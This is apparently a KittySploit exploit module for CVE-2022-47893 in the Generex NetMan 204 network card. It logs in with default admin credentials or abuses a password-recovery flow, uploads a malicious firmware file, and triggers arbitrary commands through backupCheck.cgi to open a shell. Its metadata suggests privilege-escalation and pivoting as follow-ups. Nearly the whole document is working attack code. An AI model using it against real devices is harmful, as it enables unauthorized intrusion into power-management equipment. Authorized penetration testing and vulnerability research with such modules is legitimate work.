Generex NetMan 204 CVE-2022-47893 - RCE via Firmware Upload

import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.netman204 import NetMan204


class Module(Exploit, Http_client, NetMan204):
    __info__ = {
        "name": "Generex NetMan 204 CVE-2022-47893 - RCE via Firmware Upload",
        "description": (
            "Generex NetMan 204 accepts a crafted firmware file upload that enables remote code "
            "execution. This module uploads the operator-supplied firmware and dispatches a real "
            "framework payload to obtain a session."
        ),
        "author": ["JoelGMSec", "KittySploit Team"],
        "cve": "CVE-2022-47893",
        "platform": Platform.LINUX,
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-47893",
        ],
        "tags": ["netman204", "firmware", "rce"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    username = OptString("admin", "NetMan 204 username", required=True)
    password = OptString("admin", "NetMan 204 password", required=True)
    auto_recover = OptBool(True, "Try password recovery flow if login fails", required=False)
    firmware_path = OptString("", "Local path to the malicious firmware file", required=True)
    firmware_name = OptString("fwapp.204", "Filename to send to upload.cgi", required=False)
    wait_seconds = OptInteger(60, "Seconds to wait for the firmware update to settle", required=False)
    verify_command = OptString("id", "Optional verification command when disablePayloadHandler=true", required=False, advanced=True)

    def check(self):
        auth_ctx = self.netman204_try_login_or_recover(self.username, self.password, bool(self.auto_recover))
        if auth_ctx:
            return {"vulnerable": True, "reason": "Authentication or recovery workflow is reachable", "confidence": "medium"}
        return {"vulnerable": False, "reason": "Authentication and recovery both failed", "confidence": "low"}

    def run(self):
        auth_ctx = self.netman204_try_login_or_recover(self.username, self.password, bool(self.auto_recover))
        if not auth_ctx:
            print_error("Authentication failed and recovery flow did not succeed")
            return False

        payload_cmd = str(self.payload).strip() if self.payload else ""
        if not payload_cmd:
            print_error("No payload generated. Set a valid payload before running the exploit.")
            return False

        try:
            firmware_bytes = open(self.firmware_path, "rb").read()
        except Exception as e:
            print_error(f"Unable to read firmware file: {e}")
            return False

        response = self.netman204_upload_firmware(auth_ctx, firmware_bytes, self.firmware_name)
        if not response or not getattr(response, "ok", False):
            print_error("Firmware upload failed")
            return False

        print_status(f"Waiting {self.wait_seconds} second(s) for the firmware update to settle...")
        time.sleep(int(self.wait_seconds))

        print_status("Dispatching payload through backupCheck.cgi...")
        trigger = self.netman204_exec_command(payload_cmd)
        if not trigger or not getattr(trigger, "ok", False):
            self.not_vulnerable()
            return False

        print_success("Payload dispatched")

        if self.disablePayloadHandler:
            verify = self.netman204_exec_command(self.verify_command)
            if not verify or not getattr(verify, "ok", False):
                self.not_vulnerable()
                return False

            body = self.netman204_response_body(verify)
            print_success("Remote command execution verified")
            if body:
                print_info(body[:1000])

        self.vulnerable()
        return True